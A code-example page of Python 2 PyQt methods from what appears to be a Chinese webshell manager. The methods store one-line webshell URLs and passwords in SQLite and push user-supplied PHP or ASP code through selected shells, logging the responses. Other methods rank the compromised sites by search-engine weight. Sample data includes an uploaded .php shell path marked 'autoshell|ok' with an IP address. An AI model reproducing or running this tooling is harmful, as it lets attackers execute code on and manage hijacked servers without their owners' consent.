Esempio n. 1
0
 def br_pr_sogo_3(self):  #获取 百度 谷歌  搜狗  权重
     self.ui.main_pushButton_3.setEnabled(0)  #给改成禁用
     int_model = self.ui.SQLite_tableView.selectionModel()  #获取选中编号
     model = self.ui.SQLite_tableView.model(
     )  #index = model.index(3,1)#data = model.data(index)#print data.toString()
     for index in int_model.selectedRows():  #// 对于被选中的每一行
         try:
             int_index = index.row()  #获取行号
             s0 = model.data(model.index(int_index, 0)).toString()
             s1 = model.data(model.index(int_index, 1)).toString()
             #s0=br_pr_sogo.get_domain(str(s0),0)
             baidu_br = br_pr_sogo.baidu_br(
                 br_pr_sogo.get_domain(str(s0), 0))
             if int(baidu_br) <= 0:
                 #print "0000000000000000000000000"
                 baidu_br = br_pr_sogo.aizhan_br(
                     br_pr_sogo.get_domain(str(s0), 0))
             google_pr = br_pr_sogo.google_pr(s0)
             sogo = br_pr_sogo.sogo(br_pr_sogo.get_domain(str(s0), 0))
             self.tableView_add(int_index, None, None, None, None, baidu_br,
                                google_pr, sogo, None, None, None)  #添加数据
             sql_data = "update shell set br='%s',pr='%s',sogo='%s' where urls1='%s' and passwods2='%s'" % (
                 baidu_br, google_pr, sogo,
                 urllib.quote(str(s0[0:len(s0) - 2])), str(s1))
             #print sql_data
             self.sql3.mysqlite3_update(sql_data)
         except BaseException, e:
             print(str(e))
             self.ui.main_pushButton_3.setEnabled(1)
             return 0
Esempio n. 2
0
    def php_cs_js(self):
        self.ui.main_pushButton_PHP.setEnabled(0)  #给改成禁用
        int_model = self.ui.SQLite_tableView.selectionModel()  #获取选中编号
        model = self.ui.SQLite_tableView.model()#index = model.index(3,1)#data = model.data(index)#print data.toString()
        PHP_data=self.ui.textEdit_PHP_data.toPlainText() #获取内容
        self.write2file("data.php",PHP_data)
        PHP_data=str(PHP_data)  #.decode('utf-8').encode('gbk')

        PHP_data=self.x0_zs(PHP_data)  #清除注释<?php   ?>
        PHP_data=self.x1_zs(PHP_data)  #清除注释/*   */
        PHP_data=self.x2_zs(PHP_data)  #清除//注释
        PHP_data=self.open_file_null(PHP_data)     #清除空行
        #print PHP_data
        for index in int_model.selectedRows():       #// 对于被选中的每一行
            try:
                int_index=index.row()#获取行号
                s0= model.data(model.index(int_index,0)).toString()
                s1= model.data(model.index(int_index,1)).toString()
                #s0="http://localhost/long.php"
                #s1="long123"
                if g.bool_asp_php(s0)=="php":
                    fiel_data=self.yijuhua_php_js(str(s0),str(s1),str(PHP_data))
                    data=self.web_rand_file_data(str(s0),str(s1),str(fiel_data))  #HTML内容
                    self.write2file("log/"+br_pr_sogo.get_domain(str(s0),0)+"_"+g.bool_asp_php(s0)+".html",data)  #写入文件
            except BaseException, e:
                print(str(e))
                self.ui.main_pushButton_PHP.setEnabled(1)
                return 0
Esempio n. 3
0
    def ASP_cs_js(self):
        self.ui.main_pushButton_ASP.setEnabled(0)  #给改成禁用
        int_model = self.ui.SQLite_tableView.selectionModel()  #获取选中编号
        model = self.ui.SQLite_tableView.model()#index = model.index(3,1)#data = model.data(index)#print data.toString()
        ASP_data=self.ui.textEdit_ASP_data.toPlainText() #获取内容
        self.write2file("data.asp",ASP_data)
        ASP_data=str(ASP_data)  #.decode('utf-8').encode('gbk')

        ASP_data=self.asp_x0_zs(ASP_data)  #清除<% %>
        ASP_data=self.asp_x2_zs(ASP_data)  #清除'注释
        ASP_data=self.open_file_null(ASP_data)     #清除空行
        ASP_data=self.asp_x2_zs(ASP_data) #清除'注释
        #print ASP_data
        for index in int_model.selectedRows():       #// 对于被选中的每一行
            try:
                int_index=index.row()#获取行号
                s0= model.data(model.index(int_index,0)).toString()
                s1= model.data(model.index(int_index,1)).toString()
#                s0="http://192.168.1.100/long.asp"
#                s1="long123"
                if g.bool_asp_php(s0)=="asp":
                    fiel_data=self.yijuhua_ASP_js(str(s0),str(s1),str(self.str_char(ASP_data)))
                    #print fiel_data
                    data=self.web_rand_file_data(str(s0),str(s1),str(fiel_data))  #HTML内容
                    self.write2file("log/"+br_pr_sogo.get_domain(str(s0),0)+"_"+g.bool_asp_php(s0)+".html",data)  #写入文件
            except BaseException, e:
                print(str(e))
                self.ui.main_pushButton_ASP.setEnabled(1)
                return 0
Esempio n. 4
0
 def br_pr_sogo(self, s0, s1):  #获取 百度 谷歌  搜狗  权重
     try:
         #s0=br_pr_sogo.get_domain(str(s0),0)
         baidu_br = br_pr_sogo.baidu_br(br_pr_sogo.get_domain(str(s0), 0))
         if int(baidu_br) <= 0:
             #print "0000000000000000000000000"
             baidu_br = br_pr_sogo.aizhan_br(
                 br_pr_sogo.get_domain(str(s0), 0))
         google_pr = br_pr_sogo.google_pr(s0)
         sogo = br_pr_sogo.sogo(br_pr_sogo.get_domain(str(s0), 0))
         sql_data = "update shell set br='%s',pr='%s',sogo='%s' where urls1='%s' and passwods2='%s'" % (
             baidu_br, google_pr, sogo, str(s0), str(s1))
         #print sql_data
         self.sql3.mysqlite3_update(sql_data)
         print u"URL:%s--br:%s pr:%s sougo:%s" % (br_pr_sogo.get_domain(
             str(s0), 1), baidu_br, google_pr, sogo)
     except BaseException, e:
         print(str(e))
         return 0
Esempio n. 5
0
    def web_rand_file_data(self,url,paspassword,web_data):
        try:
            data="""<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
                 <html xmlns="http://www.w3.org/1999/xhtml">
                 <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
                 <head>
                 <title>网址%s</title>
                 </head>
                 一句话地址:%s密码:%s----------time:%s--------落雪技术支持QQ:2602159946
                 <br/>
                 ------------------下面为返回数据------------------
                 <br/>
                 %s
                 <body>
                 </body>
                 </html>"""%(br_pr_sogo.get_domain(str(url),0),url,paspassword,datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S"),web_data)

            return data
        except Exception, e:
            return "======="
Esempio n. 6
0
    def br_pr_sogo_5(self):  #获取 百度 谷歌  搜狗  权重
        self.ui.pushButton_5.setEnabled(0)  #给改成禁用
        int_model = self.ui.tableView.selectionModel()  #获取选中编号
        model = self.ui.tableView.model(
        )  #index = model.index(3,1)#data = model.data(index)#print data.toString()
        for index in int_model.selectedRows():  #// 对于被选中的每一行
            try:
                data1 = ""
                int_index = index.row()  #获取行号
                s0 = model.data(model.index(int_index, 0)).toString()
                url = br_pr_sogo.get_domain(str(s0), 0)

                if self.ui.checkBox_1.isChecked():  #建站时间
                    url_time = baidu_360_sougo_wl_sl.url_time(url)  #查询域名注册时间
                    url_time2 = u"%s" % (url_time)
                    data1 += "urltime='%s'," % (urllib.quote(str(url_time)))
                    self.tableView_add(int_index, None, None, None,
                                       url_time2)  #添加数据
                if self.ui.checkBox_2.isChecked():  #br
                    baidu_br = br_pr_sogo.baidu_br(url)
                    if int(baidu_br) <= 0:
                        #print "0000000000000000000000000"
                        baidu_br = br_pr_sogo.aizhan_br(url)
                    data1 += "br='%s'," % (baidu_br)
                    self.tableView_add(int_index, None, None, None, None,
                                       baidu_br)  #添加数据
                if self.ui.checkBox_3.isChecked():  #pr
                    google_pr = br_pr_sogo.google_pr(url)
                    data1 += "pr='%s'," % (google_pr)
                    self.tableView_add(int_index, None, None, None, None, None,
                                       google_pr)  #添加数据
                if self.ui.checkBox_4.isChecked():  #sr
                    sogo = br_pr_sogo.sogo(url)
                    data1 += "sr='%s'," % (sogo)
                    self.tableView_add(int_index, None, None, None, None, None,
                                       None, sogo)  #添加数据
                if self.ui.checkBox_5.isChecked():  #百度收录
                    baidu_sl = baidu_360_sougo_wl_sl.baidu_sl(url)  #百度收录数量
                    data1 += "baidus1='%s'," % (baidu_sl)
                    self.tableView_add(int_index, None, None, None, None, None,
                                       None, None, baidu_sl)  #添加数据
                if self.ui.checkBox_6.isChecked():  #百度外链
                    baidu_wl = baidu_360_sougo_wl_sl.baidu_wl(url)  #百度外部链接
                    data1 += "baidus2='%s'," % (baidu_wl)
                    self.tableView_add(int_index, None, None, None, None, None,
                                       None, None, None, baidu_wl)  #添加数据
                if self.ui.checkBox_7.isChecked():  #360收录
                    s360_sl = baidu_360_sougo_wl_sl.s360_sl(url)  #360收录数量
                    data1 += "s360s1='%s'," % (s360_sl)
                    self.tableView_add(int_index, None, None, None, None, None,
                                       None, None, None, None, s360_sl)  #添加数据
                if self.ui.checkBox_8.isChecked():  #360外链
                    s360_wl = baidu_360_sougo_wl_sl.s360_wl(url)  #360外部链接
                    data1 += "s360s2='%s'," % (s360_wl)
                    self.tableView_add(int_index, None, None, None, None, None,
                                       None, None, None, None, None,
                                       s360_wl)  #添加数据
                if self.ui.checkBox_9.isChecked():  #搜狗收录
                    sogou_sl = baidu_360_sougo_wl_sl.sogou_sl(url)  #sogou收录数量
                    data1 += "sougos1='%s'," % (sogou_sl)
                    self.tableView_add(int_index, None, None, None, None, None,
                                       None, None, None, None, None, None,
                                       sogou_sl)  #添加数据
                if self.ui.checkBox_10.isChecked():  #搜狗外链
                    sogou_wl = baidu_360_sougo_wl_sl.sogou_wl(url)  #sogou外部链接
                    data1 += "sougos2='%s'," % (sogou_wl)
                    self.tableView_add(int_index, None, None, None, None, None,
                                       None, None, None, None, None, None,
                                       None, sogou_wl)  #添加数据
                if self.ui.checkBox_11.isChecked():  #bing收录
                    bing_sl = baidu_360_sougo_wl_sl.bing_sl(url)  #bing收录数量
                    data1 += "bings1='%s'," % (bing_sl)
                    self.tableView_add(int_index, None, None, None, None, None,
                                       None, None, None, None, None, None,
                                       None, None, bing_sl)  #添加数据
                if self.ui.checkBox_12.isChecked():  #bing外链
                    bing_wl = baidu_360_sougo_wl_sl.bing_wl(url)  #bing外部链接
                    data1 += "bings2='%s'," % (bing_wl)
                    self.tableView_add(int_index, None, None, None, None, None,
                                       None, None, None, None, None, None,
                                       None, None, None, bing_wl)  #添加数据
                if self.ui.checkBox_13.isChecked():  #百度来路ip
                    aizhan_ip = baidu_360_sougo_wl_sl.open_get_aizhan_ip(
                        url)  #获取爱站统计大概IP
                    aizhan_ip2 = u"%s" % (aizhan_ip)
                    data1 += "ip='%s'," % (aizhan_ip2)
                    self.tableView_add(int_index, None, None, None, None, None,
                                       None, None, None, None, None, None,
                                       None, None, None, None,
                                       aizhan_ip2)  #添加数据

                #sql_data="update url set %s where url='%s'"%(data1[0:len(data1)-1],urllib.quote(str(s0[0:len(s0)-2])))
                sql_data = "update url set %s where url='%s'" % (
                    data1[0:len(data1) - 1], str(s0))
                #self.tableView_add(int_index,None,url_time2,None,None,None,baidu_sl,baidu_wl,s360_sl,s360_wl,sogou_sl,sogou_wl,bing_sl,bing_wl,aizhan_ip2)  #添加数据
                #sql_data="update url set urltime='%s',baidus1='%s',baidus2='%s',s360s1='%s',s360s2='%s',sougos1='%s',sougos2='%s',bings1='%s',bings2='%s',ip='%s' "\
                #         "where url='%s'"%(urllib.quote(str(url_time)),baidu_sl,baidu_wl,s360_sl,s360_wl,sogou_sl,sogou_wl,bing_sl,bing_wl,aizhan_ip2,urllib.quote(str(s0[0:len(s0)])))
                print sql_data
                self.sql3.mysqlite3_update(sql_data)
            except BaseException, e:
                #print(str(e))
                pass
Esempio n. 7
0
            int_id += 1
        cur.close()  #关闭游标

    def pushButton_8(self):  #显示失败webshell
        self.del_tableView()  #清空数据
        sql_data = "select * from url where zt is null or zt='No' order by time DESC"  # asc 表示升序 , desc表示降序  #select * from shell where zts3='no' or zts3='None'
        self.sql3.conn.commit()  # 获取到游标对象
        cur = self.sql3.conn.cursor()  # 用游标来查询就可以获取到结果
        cur.execute(sql_data)  # 获取所有结果
        res = cur.fetchall()  #从结果中取出所有记录
        int_id = 0
        for line in res:
            #self.url_data=line[0]
            s0 = u"%s" % (urllib.unquote(str(line[0])))
            s3 = u"%s" % (urllib.unquote(str(line[3])))
            s15 = u"%s" % (str(line[15]))
            self.tableView_add(int_id, s0, str(line[1]), str(line[2]), s3,
                               str(line[4]), str(line[5]), str(line[6]),
                               str(line[7]), str(line[8]), str(line[9]),
                               str(line[10]), str(line[11]), str(line[12]),
                               str(line[13]), str(line[14]), s15)  #添加数据
            int_id += 1
        cur.close()  #关闭游标

if __name__ == "__main__":
    baidu_br = br_pr_sogo.baidu_br(
        br_pr_sogo.get_domain(
            str("http://www.baidu.com///upload/20150118182027.php|autoshell|ok|null|0|5|1|218.65.17.105/江西省上饶市横峰县-|2015-02-15 00:01:06|2015-02-01 00:30:27"
                ), 0))
    print baidu_br